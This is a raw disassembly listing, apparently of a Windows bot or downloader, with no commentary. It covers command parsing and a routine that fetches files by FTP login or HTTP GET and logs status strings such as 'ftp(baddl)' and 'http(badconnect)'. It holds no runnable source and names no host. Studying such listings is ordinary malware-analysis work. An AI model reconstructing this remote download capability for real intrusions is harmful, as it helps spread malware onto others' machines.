lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C94 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41C7CC
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41C7CE
; ---------------------------------------------------------------------------
loc_41C7CC: ; CODE XREF: sub_41C610+1AFj
xor edi, edi
loc_41C7CE: ; CODE XREF: sub_41C610+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013D4
loc_41C83C: ; CODE XREF: sub_41C610+C0j
lea ecx, [ebp+60h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41C9BB
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C94 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41C94B
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41C94D
; ---------------------------------------------------------------------------
loc_41C94B: ; CODE XREF: sub_41C610+32Ej
xor edi, edi
loc_41C94D: ; CODE XREF: sub_41C610+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FBE
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013D4
loc_41C9BB: ; CODE XREF: sub_41C610+23Fj
lea ecx, [ebp+32h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CBF6
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C94 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_4016AE
push offset word_44759A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401B72
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41CB5E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D212
; ---------------------------------------------------------------------------
loc_41CB5E: ; CODE XREF: sub_41C610+4D6j
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41CB86
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CB88
; ---------------------------------------------------------------------------
loc_41CB86: ; CODE XREF: sub_41C610+569j
xor edi, edi
loc_41CB88: ; CODE XREF: sub_41C610+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401FBE
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401FBE
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CBF6: ; CODE XREF: sub_41C610+3BEj
lea ecx, [ebp+0BCh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CD9B
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41CD0E
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CD10
; ---------------------------------------------------------------------------
loc_41CD0E: ; CODE XREF: sub_41C610+6F1j
xor edi, edi
loc_41CD10: ; CODE XREF: sub_41C610+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FBE
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FBE
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CD9B: ; CODE XREF: sub_41C610+5FCj
lea ecx, [ebp+118h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CF40
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41CEB3
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CEB5
; ---------------------------------------------------------------------------
loc_41CEB3: ; CODE XREF: sub_41C610+896j
xor edi, edi
loc_41CEB5: ; CODE XREF: sub_41C610+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FBE
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FBE
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CF40: ; CODE XREF: sub_41C610+7A1j
lea ecx, [ebp+0EAh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D1A1
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_4016AE
push offset word_44759A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401B72
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41D0EC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D212
; ---------------------------------------------------------------------------
loc_41D0EC: ; CODE XREF: sub_41C610+A64j
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41D114
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D114: ; CODE XREF: sub_41C610+AF7j
xor edi, edi
loc_41D116: ; CODE XREF: sub_41C610+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401FBE
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_4013D4
loc_41D1A1: ; CODE XREF: sub_41C610+116j
; sub_41C610+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_41D212: ; CODE XREF: sub_41C610+549j
; sub_41C610+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41C610 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D540 proc near ; CODE XREF: sub_401B36j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D540 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D5D0 proc near ; CODE XREF: sub_4014B0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D5D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D5D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_4021C6j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D670
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0D0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41D730: ; CODE XREF: ___:00401168j
; ___:loc_4019E7j
push esi
mov esi, ecx
call sub_4015C3
test byte ptr [esp+8], 1
jz short loc_41D748
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41D748: ; CODE XREF: ___:0041D73Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D760 proc near ; CODE XREF: sub_4015C3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D760
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E0D0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D760 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41D830 proc near ; CODE XREF: sub_401C80j
var_44 = dword ptr -44h
var_3C = byte ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_24 = byte ptr 28h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_110 = byte ptr 114h
arg_120 = byte ptr 124h
arg_130 = byte ptr 134h
arg_1110 = dword ptr 1114h
arg_1114 = byte ptr 1118h
arg_1130 = dword ptr 1134h
arg_1138 = dword ptr 113Ch
arg_1144 = byte ptr 1148h
arg_1150 = dword ptr 1154h
; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43B0F2
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_446F70
lea edi, [esi+11h]
mov ecx, edi
call sub_4012EE
test eax, eax
jz loc_41DF38
lea ebx, [esi+65h]
push offset byte_446F70
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_41DF38
lea ecx, [esi+26h]
push offset byte_446F70
call sub_4012EE
test eax, eax
jz loc_41DF38
mov al, [esi+91h]
test al, al
jz short loc_41D8D1
push offset byte_446F70
lea ecx, [esi+3Bh]
call sub_4012EE
test eax, eax
jz short loc_41D8C4
push offset byte_446F70
lea ecx, [esi+50h]
call sub_4012EE
test eax, eax
jnz short loc_41D8D1
loc_41D8C4: ; CODE XREF: sub_41D830+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41DF40
; ---------------------------------------------------------------------------
loc_41D8D1: ; CODE XREF: sub_41D830+70j
; sub_41D830+92j
push offset asc_443C94 ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012EE
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz short loc_41D95E
push offset asc_443C94 ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_4016AE
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jnz short loc_41D96F
loc_41D95E: ; CODE XREF: sub_41D830+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41D96F: ; CODE XREF: sub_41D830+12Cj
push offset asc_443C94 ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_4016AE
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401FBE
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_4017E4
push eax
call near ptr 2810000h
nop
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_4015D7
mov al, [esi+91h]
test al, al
jz loc_41DB04
call sub_401E06
; ---------------------------------------------------------------------------
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_4017E4
push eax
call sub_401A69
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_41DA1C
lea ecx, [esi+7Ah]
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
mov [esp+28h+var_18], esi
lea edx, [esp+28h+var_18]
jmp loc_41DF17
; ---------------------------------------------------------------------------
loc_41DA1C: ; CODE XREF: sub_41D830+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_4017E4
push eax
lea ecx, [esi+3Bh]
call sub_4017E4
push eax
call sub_402243
add esp, 0Ch
test eax, eax
jnz short loc_41DA73
lea ecx, [esi+7Ah]
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF18
; ---------------------------------------------------------------------------
loc_41DA73: ; CODE XREF: sub_41D830+20Dj
lea edi, [esi+7Ah]
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
mov eax, [esp+28h+var_14]
lea ecx, [esi+26h]
push eax
push 49h
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
call sub_4016A9
add esp, 10h
test eax, eax
jnz short loc_41DAF2
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF18
; ---------------------------------------------------------------------------
loc_41DAF2: ; CODE XREF: sub_41D830+28Dj
mov ecx, [esp+28h+var_14]
push ecx
call sub_401D52
add esp, 4
jmp loc_41DD7B
; ---------------------------------------------------------------------------
loc_41DB04: ; CODE XREF: sub_41D830+195j
lea ecx, [esp+28h+arg_20]
call sub_401424
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_401424
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_4017E4
push eax
call sub_401A8C
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41DB87
lea ecx, [esi+7Ah]
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push ecx
mov ecx, offset byte_4E6EDB
call sub_40120D
; ---------------------------------------------------------------------------
db 53h
dd 69BAB8E8h, 0BEE99071h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41D830+310j
push ebp
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [esi+26h]
call sub_4017E4
push eax
lea edx, [esp+30h+arg_24]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+24h+arg_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+2Ch+arg_24]
call sub_4017E4
push eax
push ebx
nop
